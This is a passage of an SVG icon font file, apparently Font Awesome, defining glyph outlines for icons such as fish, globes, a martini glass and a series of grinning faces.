c-13.25 0.379883 -23.6699 11.4395 -23.2803 24.6895l0.120117 21.4697c-1.04004 65.6104 23.9502 127.28 70.3203 173.71c48.0098 48.0303 112.56 73.7607 182.35 72.9209c84.79 -1.27051 164.48 -43.4404 213.181 -112.83z" />
    <glyph glyph-name="fish" unicode="&#xf578;" horiz-adv-x="576" 
d="M327.1 352c137.46 0 248.9 -128 248.9 -160s-111.44 -160 -248.9 -160c-89.9697 0 -168.55 54.7695 -212.279 101.62l-87.3301 -66.0498c-12.1299 -9.16992 -30.2402 0.599609 -27.1406 14.6602l24.1904 109.77l-24.1797 109.76
c-3.10059 14.0605 15.0098 23.8398 27.1396 14.6602l87.3301 -66.0498c43.7295 46.8604 122.3 101.63 212.27 101.63zM414.53 168c13.25 0 24 10.75 24 24c0 13.2598 -10.7402 24 -24 24c-13.25 0 -24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" />
    <glyph glyph-name="flushed" unicode="&#xf579;" horiz-adv-x="496" 
d="M344 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM152 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248
s-248 111 -248 248s111 248 248 248zM80 224c0 -39.7998 32.2002 -72 72 -72s72 32.2002 72 72s-32.2002 72 -72 72s-72 -32.2002 -72 -72zM312 48c21.2002 0 21.2002 32 0 32h-128c-21.2002 0 -21.2002 -32 0 -32h128zM344 152c39.7998 0 72 32.2002 72 72
s-32.2002 72 -72 72s-72 -32.2002 -72 -72s32.2002 -72 72 -72z" />
    <glyph glyph-name="frown-open" unicode="&#xf57a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM323.3 56.7002c11.4004 -3.5 22.5 6.2002 20.5 18.0996
c-7 39.9004 -60.0996 61.2002 -95.7998 61.2002s-88.7998 -21.2002 -95.7998 -61.2002c-2 -11.7998 9 -21.5996 20.5 -18.0996c31.2002 9.59961 59.3994 15.2998 75.2998 15.2998s44.0996 -5.7002 75.2998 -15.2998zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32
s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" />
    <glyph glyph-name="glass-martini-alt" unicode="&#xf57b;" 
d="M502.05 390.4l-214.05 -214.04v-192.36h56c22.0898 0 40 -17.9102 40 -40c0 -4.41992 -3.58008 -8 -8 -8h-240c-4.41992 0 -8 3.58008 -8 8c0 22.0898 17.9102 40 40 40h56v192.36l-214.05 214.04c-21.25 21.2598 -6.2002 57.5996 23.8496 57.5996h444.4
c30.0498 0 45.0996 -36.3398 23.8496 -57.5996zM443.77 400h-375.529l48 -48h279.529z" />
    <glyph glyph-name="globe-africa" unicode="&#xf57c;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM408 224.5c0 8.55957 6.94043 15.5 15.5 15.5h18.4297c-19.0693 76.9805 -82.6992 136.37 -161.92 149.21v-21.7002c0 -8.55957 -6.93945 -15.5 -15.5 -15.5
h-24.21c-5.17969 0 -10.0195 -2.58984 -12.8896 -6.89941l-8.08008 -12.1104c-2.13965 -3.20996 -5.40039 -5.5 -9.13965 -6.44043l-14.4502 -3.60938c-6.90039 -1.73047 -11.7402 -7.93066 -11.7402 -15.04v-4.40039c0 -8.55957 6.94043 -15.5 15.5 -15.5h90.0498
h0.00292969c3.54297 0 8.45215 -2.0332 10.957 -4.54004l6.91992 -6.91992c2.91016 -2.91016 6.85059 -4.54004 10.96 -4.54004h10.0908c8.55957 0 15.5 -6.93945 15.5 -15.5c0 -6.66992 -4.27051 -12.5898 -10.6006 -14.7002l-47.3096 -15.7695
c-3.90039 -1.2998 -8.15039 -1 -11.8301 0.839844l-14.7207 7.36035c-7.5791 3.7998 -15.9492 5.76953 -24.4297 5.76953h-0.889648c-10.0527 -0.00195312 -24.7383 -4.89941 -32.7803 -10.9297l-27.5801 -20.6904c-13.75 -10.3193 -21.8496 -26.5098 -21.8496 -43.6992
v-14.0605c0.00195312 -12.4902 7.16992 -29.7959 16 -38.6299c10.25 -10.2402 24.1396 -16 38.6299 -16h25.8799c8.55957 0 15.5 -6.94043 15.5 -15.5v-29.8896v-0.00390625c0 -10.2822 3.73145 -26.0898 8.33008 -35.2861
c4.7002 -9.40039 14.3096 -15.3398 24.8203 -15.3398c8.19824 0.000976562 18.542 5.53809 23.0898 12.3594l13.0293 19.5498c5.9248 8.88477 17.125 21.9482 25 29.1602c2.4707 2.27051 4.14062 5.27051 4.76074 8.56055l4.2998 22.8301
c0.439453 2.3291 1.41016 4.5293 2.83008 6.42969l18.7402 24.9795c2.00977 2.68066 3.09961 5.9502 3.09961 9.30078v11.3398c0 8.55957 -6.94043 15.5 -15.5 15.5h-8.20996c-5.17969 0 -10.0205 2.58984 -12.8896 6.89941l-13.2402 19.8604
c-5.66992 8.50977 -1.70996 20.0703 7.99023 23.2998l2.64941 0.879883c1.31641 0.4375 3.50977 0.792969 4.89746 0.792969c2.5918 0 6.44531 -1.16602 8.60254 -2.60254l18.21 -12.1396c2.15527 -1.43945 6.00781 -2.60742 8.59961 -2.60742
c2.01953 0 5.125 0.733398 6.93066 1.63672l15.3896 7.7002c5.25 2.62012 8.57031 7.99023 8.57031 13.8604v6.92969z" />
    <glyph glyph-name="globe-americas" unicode="&#xf57d;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM330.29 82.4004c7.56934 7.52832 13.7168 22.3037 13.7197 32.9795v0.00488281c0 6.97266 -4 16.6338 -8.92969 21.5654l-13.6904 13.6895
c-6.00977 6 -14.1396 9.37012 -22.6299 9.37012h-66.75c-9.41016 4.70996 -21.4795 32 -32 32c-10.5195 0 -20.8994 2.4502 -30.3096 7.16016l-11.0801 5.54004c-4.0498 2.03027 -6.61035 6.16016 -6.61035 10.6904v0.00292969c0 4.75391 3.66016 9.83301 8.16992 11.3369
l31.1699 10.3896c1.3584 0.452148 3.62305 0.818359 5.05469 0.818359c3.30078 0 8.00293 -1.75488 10.4961 -3.91797l9.2793 -8.06055c1.4502 -1.25977 3.31055 -1.95996 5.24023 -1.95996h5.63965c5.94043 0 9.81055 6.25977 7.15039 11.5801l-15.5898 31.1904
c-0.464844 0.931641 -0.84082 2.53223 -0.84082 3.57227c0 1.86621 1.08398 4.43555 2.4209 5.7373l9.91992 9.65039c1.5 1.45996 3.5 2.26953 5.58008 2.26953h8.99023h0.00292969c1.82812 0 4.3623 1.04883 5.65625 2.33984l8 8
c3.12012 3.12012 3.12012 8.19043 0 11.3105l-4.68945 4.68945c-3.12012 3.12012 -3.12012 8.19043 0 11.3105l10.3398 10.3398l4.69043 4.67969c6.25 6.25 6.25 16.3799 0 22.6299l-28.3008 28.3008c-8.26953 -0.310547 -16.3994 -1.12988 -24.3896 -2.41992v-11.3008
c0 -11.8994 -12.5195 -19.6299 -23.1602 -14.3096l-24.0098 12.0098c-45.8398 -19.8496 -82.7305 -56.3896 -103.2 -101.89c9.92969 -14.7197 25.21 -37.3701 34.5898 -51.1406c4.29395 -6.3252 12.3848 -15.6172 18.0605 -20.7393l0.799805 -0.720703
c9.5498 -8.60938 20.1699 -15.9697 31.6504 -21.75c14 -7.0498 34.4395 -18.1592 48.8096 -26.1094c10.1904 -5.62988 16.46 -16.3301 16.46 -27.9707v-32.0098c0 -8.49023 3.37012 -16.6299 9.37012 -22.6299c14.9902 -14.9902 24.3203 -38.6299 22.6299 -51.25v-27.3799
c14.6504 0 28.8896 1.69043 42.6504 4.69043l17.3896 46.8496c2.04004 5.49023 3.25977 11.21 4.76953 16.8701c1.07031 4.00977 3.18066 7.70996 6.1709 10.71c3.31934 3.33008 7.40918 7.39941 11.3096 11.2803zM417 173.75l29.1797 -7.29004
c1.08008 8.37988 1.82031 16.8701 1.82031 25.54c0 32.1299 -7.7998 62.4102 -21.3203 89.3301l-12.9795 -6.49023c-3.74023 -1.85938 -6.91992 -4.67969 -9.24023 -8.14941l-19.5898 -29.3809c-2.22754 -3.33594 -4.03516 -9.29883 -4.03516 -13.3096
s1.80762 -9.97363 4.03516 -13.3096l17.9795 -26.9707c3.31055 -4.96973 8.36035 -8.51953 14.1504 -9.96973z" />
    <glyph glyph-name="globe-asia" unicode="&#xf57e;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM236.66 199.77l17.3701 28.9502c1.7998 2.99023 6.2002 2.82031 7.75977 -0.299805c1.34961 -2.70996 4.12012 -4.41992 7.15039 -4.41992h3.05957
c4.41992 0 8 3.58008 8 8v78.1201c0 6.05957 -3.41992 11.5996 -8.83984 14.3096l-10.8301 5.41016c-5.49023 2.75 -5.96973 10.4004 -0.860352 13.8105l50.1602 38.5293c-19.4297 6.31055 -40.1201 9.82031 -61.6299 9.82031c-110.28 0 -200 -89.7197 -200 -200
c0 -10.9199 1.12012 -21.5498 2.80957 -31.9902h62.5703c4.24023 0 8.31055 1.69043 11.3105 4.69043l19.4697 19.46c3.85938 3.85938 10.3701 2.7998 12.8096 -2.08008l22.6201 -45.2305c2.70996 -5.42969 8.25 -8.84961 14.3105 -8.84961h6.10938
c8.83984 0 16 7.16016 16 16v9.37012c0 4.24023 -1.68945 8.30957 -4.68945 11.3096l-5.66016 5.66016c-3.12012 3.12012 -3.12012 8.19043 0 11.3105l5.66016 5.65918c3 3 7.06934 4.69043 11.3096 4.69043h0.310547c5.61914 0 10.8291 2.9502 13.7197 7.76953z
M408 89.5703l-0.00976562 24.5996c0 4.24023 -1.69043 8.31055 -4.69043 11.3105l-11.9102 11.9092c-1.5 1.5 -2.33984 3.54004 -2.33984 5.66016v12.9307c0 2.20996 -1.79004 4 -4 4h-6.05957c-1.78027 0 -3.33984 -1.1709 -3.83984 -2.88086l-4.2002 -14.4697
c-0.490234 -1.7002 -2.06055 -2.87988 -3.83984 -2.87988h-3.80078c-1.4707 0.000976562 -3.12305 1.10254 -3.68945 2.45996l-5.35059 12.8496c-1.23926 2.99023 -4.15918 4.93066 -7.38965 4.93066h-12.0898h-0.0117188c-1.4082 0 -3.48145 -0.663086 -4.62793 -1.48047
l-23.71 -16.8896c-1.73047 -1.23047 -3.61035 -2.25977 -5.59082 -3.0498l-39.3398 -15.7402c-3.04004 -1.21973 -5.0293 -4.16016 -5.0293 -7.42969v-10.2002v-0.00292969c0 -1.8291 1.04785 -4.36328 2.33984 -5.65723l11.9102 -11.9102
c3 -3 7.06934 -4.68945 11.3096 -4.68945h10.3398c1.31055 0 2.61035 0.15918 3.87988 0.479492l21.2705 5.32031c1.76465 0.441406 4.67383 0.798828 6.49316 0.798828c6.12012 0 14.5986 -3.51172 18.9268 -7.83887l13.0098 -13.0098
c3 -3 7.07031 -4.69043 11.3096 -4.69043h15.1602c4.24023 0 8.31055 1.69043 11.3105 4.69043l9.56934 9.56934c3 3 4.69043 7.07031 4.69043 11.3105z" />
    <glyph glyph-name="grimace" unicode="&#xf57f;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM144 48v40h-40v-8c0 -17.7002 14.2998 -32 32 -32h8zM144 104v40h-8c-17.7002 0 -32 -14.2998 -32 -32v-8h40zM136 240c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32
s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM208 48v40h-48v-40h48zM208 104v40h-48v-40h48zM272 48v40h-48v-40h48zM272 104v40h-48v-40h48zM336 48v40h-48v-40h48zM336 104v40h-48v-40h48zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32
s14.2998 -32 32 -32zM392 80v8h-40v-40h8c17.7002 0 32 14.2998 32 32zM392 104v8c0 17.7002 -14.2998 32 -32 32h-8v-40h40z" />
    <glyph glyph-name="grin" unicode="&#xf580;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32s32 14.2998 32 32s-14.2998 32 -32 32zM168 272c-17.7002 0 -32 -14.2998 -32 -32s14.2998 -32 32 -32
s32 14.2998 32 32s-14.2998 32 -32 32zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.39941 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002
c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-alt" unicode="&#xf581;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM311.7 311.3c-12.4004 -18.3994 -15.2002 -36.8994 -15.7002 -55.2998c0.599609 -18.4004 3.2998 -36.9004 15.7002 -55.2998c8 -11.7002 25.0996 -11.4004 32.7002 0
c12.3994 18.3994 15.1992 36.8994 15.6992 55.2998c-0.599609 18.4004 -3.2998 36.9004 -15.6992 55.2998c-8 11.7002 -25.1006 11.4004 -32.7002 0zM151.7 311.3c-12.4004 -18.3994 -15.2002 -36.8994 -15.7002 -55.2998
c0.599609 -18.4004 3.2998 -36.9004 15.7002 -55.2998c8 -11.7002 25.0996 -11.4004 32.7002 0c12.3994 18.3994 15.1992 36.8994 15.6992 55.2998c-0.599609 18.4004 -3.2998 36.9004 -15.6992 55.2998c-8 11.7002 -25.1006 11.4004 -32.7002 0zM248 16
c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004
c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-beam" unicode="&#xf582;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM328 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7998 -11.7998 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006
c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM168 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17
c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.39941 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998
c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.3008 3.7002 -22.7002 -6 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-beam-sweat" unicode="&#xf583;" horiz-adv-x="504" 
d="M456 320c-26.5 0 -48 21 -48 47c0 20 28.5 60.4004 41.5996 77.7998c3.2002 4.2998 9.60059 4.2998 12.8008 0c13.0996 -17.3994 41.5996 -57.7998 41.5996 -77.7998c0 -26 -21.5 -47 -48 -47zM456 288c6.7998 0 13.2002 1.09961 19.5 2.59961
c13.0996 -30.1992 20.5 -63.5 20.5 -98.5996c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248c50.2998 0 97 -15.0996 136.1 -40.7998c-7.7998 -18 -8.09961 -27.7998 -8.09961 -32.2002c0 -43.5996 35.9004 -79 80 -79zM328 296
c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7998 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5
c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM168 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17
c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7002 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002
s-92.9004 5.5 -123.1 15.2002c-11.4004 3.7002 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-hearts" unicode="&#xf584;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM90.4004 264.4c-7.7002 -20.2002 3.7998 -41.8008 24.1992 -47.2002l70.2002 -18.2002c4.60059 -1.2002 9.2998 1.5 10.5 6l19.4004 69.9004
c5.59961 20.2998 -7.40039 41.0996 -28.7998 44.5c-18.7002 3 -36.5 -9.80078 -41.5 -27.9004l-2 -7.09961l-7.10059 1.89941c-18.2002 4.7998 -38.2002 -4.2998 -44.8994 -21.8994zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998
c1.90039 11.7998 -9.2998 21.5 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998zM381.4 217.3
c20.3994 5.2998 31.8994 26.9004 24.1992 47.2002c-6.69922 17.5996 -26.6992 26.5996 -44.8994 21.9004l-7.10059 -1.90039l-2 7.09961c-5.09961 18.1006 -22.8994 30.9004 -41.5 27.9004c-21.3994 -3.40039 -34.3994 -24.2002 -28.7998 -44.5l19.4004 -69.9004
c1.2998 -4.5 6 -7.19922 10.5 -6z" />
    <glyph glyph-name="grin-squint" unicode="&#xf585;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM281.8 250.3c-7.7002 -4.7002 -7.7002 -15.8994 0 -20.5996l80 -48c11.5 -6.7998 24.1006 7.59961 15.4004 18l-33.6006 40.2998l33.6006 40.2998
c8.59961 10.2998 -3.7998 24.9004 -15.4004 18zM118.8 280.3l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18l80 48c7.7998 4.7002 7.7998 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18zM248 16
c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7002 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.3008 3.7002 -22.7002 -6 -20.7002 -17.9004
c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-squint-tears" unicode="&#xf586;" 
d="M409.6 336.1c-5.59961 -0.799805 -10.2998 3.90039 -9.5 9.40039c3.30078 22.5996 12 73.5 26.8008 88.2998c19.0996 19.2002 50.6992 18.9004 70.2998 -0.700195c19.5996 -19.5996 19.8994 -51 0.700195 -70.1992
c-14.8008 -14.8008 -65.7002 -23.6006 -88.3008 -26.8008zM102.4 47.9004c5.59961 0.799805 10.2998 -3.90039 9.5 -9.40039c-3.30078 -22.5996 -12 -73.5 -26.8008 -88.2998c-19.1992 -19.2002 -50.5996 -18.9004 -70.1992 0.700195
c-19.6006 19.5996 -19.9004 51.0996 -0.800781 70.1992c14.8008 14.8008 65.7002 23.6006 88.3008 26.8008zM414.1 304.4c24 3.5 42.1006 7.39941 56.5 11.5c54.8008 -94.9004 42 -218.2 -39.1992 -299.301c-81.2002 -81.0996 -204.5 -94 -299.301 -39.1992
c4.10059 14.3994 8.10059 32.5 11.5 56.5c2.90039 20.5 -12.5 49.5996 -45.6992 45.6992c-24.1006 -3.5 -42.1006 -7.39941 -56.5 -11.5c-54.8008 94.9004 -41.9004 218.2 39.1992 299.301c81.2002 81.0996 204.5 94 299.301 39.1992
c-4.10059 -14.3994 -8.10059 -32.5 -11.5 -56.5c-2.90039 -20.5996 12.6992 -49.5996 45.6992 -45.6992zM255.7 342l-22.5 -90.5996c-2.2002 -8.60059 5.59961 -16.7002 14.5 -14.5l90.5 22.5996c13.0996 3.2998 11.5996 22.4004 -1.7998 23.5996l-52.3008 4.80078
l-4.7998 52.2998c-1.2002 13.2998 -20.2998 15 -23.5996 1.7998zM164.8 111.7c1.2998 -13.4004 20.4004 -14.9004 23.5 -1.7002l22.6006 90.5c2.19922 8.7002 -5.7002 16.7002 -14.5 14.5l-90.5 -22.5996c-13.1006 -3.30078 -11.6006 -22.4004 1.7998 -23.6006
l52.2998 -4.7998zM380.5 67.5c42.7998 42.9004 68 122.3 35.7002 167.6c-7.10059 9.90039 -21.9004 8.5 -27.2998 -2c-14.6006 -28.1992 -42.4004 -63.8994 -76.3008 -97.7998c-33.8994 -33.8994 -69.5 -61.7002 -97.7998 -76.2998
c-10.7002 -5.40039 -11.7998 -20.2998 -2 -27.2002c14.4004 -10.2002 32.1006 -14.7002 51 -14.7002c41 0 87.4004 21.1006 116.7 50.4004z" />
    <glyph glyph-name="grin-stars" unicode="&#xf587;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM94.5996 279.1c-6.19922 -1 -8.89941 -8.59961 -4.2998 -13.2998l25.4004 -24.5996l-6 -34.9004c-1 -6.2002 5.2998 -11 11 -7.89941l31.2998 16.2998l31.2002 -16.2002
c5.7002 -3.09961 12 1.7002 11 7.90039l-6 34.8994l25.3994 24.6006c4.60059 4.59961 1.90039 12.1992 -4.2998 13.1992l-34.8994 5l-15.5 31.6006c-2.90039 5.7998 -11 5.7998 -13.9004 0l-15.5 -31.6006zM248 16c60.5996 0 134.5 38.2998 143.8 93.2998
c1.90039 11.7998 -9.2002 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998zM405.7 265.9
c4.59961 4.59961 1.89941 12.1992 -4.40039 13.0996l-34.8994 5l-15.5 31.5996c-2.90039 5.80078 -11 5.80078 -13.9004 0l-15.5 -31.5996l-34.9004 -5c-6.19922 -1 -8.7998 -8.59961 -4.2998 -13.2002l25.4004 -24.5996l-6 -34.9004c-1 -6.2002 5.2998 -11 11 -7.89941
l31.2998 16.2998l31.2998 -16.2002c5.7002 -3.09961 12 1.7002 11 7.90039l-6 34.8994z" />
    <glyph glyph-name="grin-tears" unicode="&#xf588;" horiz-adv-x="640" 
d="M102.4 191.9c5.59961 0.799805 10.2998 -3.90039 9.5 -9.40039c-3.30078 -22.5996 -12 -73.5 -26.8008 -88.2998c-19.1992 -19.2002 -50.5996 -18.9004 -70.1992 0.700195c-19.6006 19.5996 -19.9004 51.0996 -0.800781 70.1992
c14.8008 14.8008 65.7002 23.6006 88.3008 26.8008zM625.8 165.1c19.2002 -19.0996 18.7998 -50.6992 -0.799805 -70.2998c-19.5996 -19.5996 -51 -19.8994 -70.2002 -0.700195c-14.7998 14.8008 -23.5996 65.7002 -26.7998 88.3008c-0.799805 5.59961 4 10.2998 9.5 9.5
c22.5996 -3.30078 73.5 -12 88.2998 -26.8008zM496.4 177.9c11.7998 -82.3008 29.8994 -100.4 35.7998 -106.301c0.899414 -1 2 -1.59961 3 -2.5c-42.7002 -74.6992 -123 -125.1 -215.2 -125.1s-172.5 50.4004 -215.2 125c1 0.900391 2.10059 1.59961 3 2.5
c5.90039 6 24 24.0996 35.7998 106.4c2.90039 20.3994 -12.5 49.5996 -45.6992 45.6992c-8.90039 -1.2998 -16.8008 -2.69922 -24.3008 -4.09961c13.7002 124 118.7 220.5 246.4 220.5s232.7 -96.5 246.4 -220.5c-7.5 1.40039 -15.4004 2.7998 -24.3008 4.09961
c-26.5996 3.80078 -49.5 -19.0996 -45.6992 -45.6992zM400 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17
c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM240 296c-23.7998 0 -52.7002 -29.2998 -55.7998 -71.4004c-0.700195 -8.5 10.7002 -11.8994 14.8994 -4.5l9.5 17c7.7002 13.7002 19.2002 21.6006 31.5 21.6006
c12.3008 0 23.8008 -7.90039 31.5 -21.6006l9.5 -17c4.10059 -7.5 15.6006 -4.09961 14.9004 4.5c-3.2998 42.1006 -32.2002 71.4004 -56 71.4004zM320 16c60.5996 0 134.5 38.2998 143.8 93.2998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004
c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.7002 -22.7002 -6.2002 -20.7002 -17.9004c9.2998 -55 83.2002 -93.2998 143.8 -93.2998z" />
    <glyph glyph-name="grin-tongue" unicode="&#xf589;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5c24.7002 16.2002 43.5 38.0996 47.7998 63.7998c1.90039 11.7998 -9.2998 21.5 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002
s-92.9004 5.5 -123.1 15.2002c-11.4004 3.59961 -22.7002 -6.10059 -20.7002 -17.9004c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM168 208
c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM328 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078v-64
c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998
c3.5 15.4004 20.2002 24.1006 34.5996 17.6006z" />
    <glyph glyph-name="grin-tongue-squint" unicode="&#xf58a;" horiz-adv-x="496" 
d="M293.1 73.4004c0.800781 -0.400391 -0.5 0.299805 19 -9.30078v-64c0 -35.5996 -29.1992 -64.5 -64.8994 -64c-35.1006 0.400391 -63.1006 29.7002 -63.1006 64.9004v63c19.2002 9.59961 18 9 18.9004 9.40039c14.4004 6.5 31.0996 -2.2002 34.5996 -17.6006
l1.80078 -7.7998c2.09961 -9.2002 15.1992 -9.2002 17.2998 0l1.7998 7.7998c3.5 15.4004 20.2002 24.1006 34.5996 17.6006zM248 440c137 0 248 -111 248 -248c0 -106.3 -67 -196.7 -161 -232c5.59961 12.2002 9 25.7002 9 40v45.5
c24.7002 16.2002 43.5 38.0996 47.7998 63.7998c1.90039 11.7998 -9.2998 21.6006 -20.7002 17.9004c-30.1992 -9.7002 -75.0996 -15.2002 -123.1 -15.2002s-92.9004 5.5 -123.1 15.2002c-11.5 3.59961 -22.7002 -6.10059 -20.7002 -17.9004
c4.2998 -25.7002 23.0996 -47.5996 47.7998 -63.7998v-45.5c0 -14.2998 3.40039 -27.7998 9 -40c-94 35.2998 -161 125.7 -161 232c0 137 111 248 248 248zM214.2 229.7c7.7002 4.7002 7.7002 15.8994 0 20.5996l-80 48c-11.6006 6.90039 -24 -7.7002 -15.4004 -18
l33.6006 -40.2998l-33.6006 -40.2998c-8.59961 -10.4004 3.90039 -24.7998 15.4004 -18zM377.2 199.7l-33.6006 40.2998l33.6006 40.2998c8.5 10.2998 -3.7002 24.9004 -15.4004 18l-80 -48c-7.7998 -4.7002 -7.7998 -15.8994 0 -20.5996l80 -48
c11.5 -6.7998 24.1006 7.59961 15.4004 18z" />
    <glyph glyph-name="grin-tongue-wink" unicode="&#xf58b;" horiz-adv-x="496" 
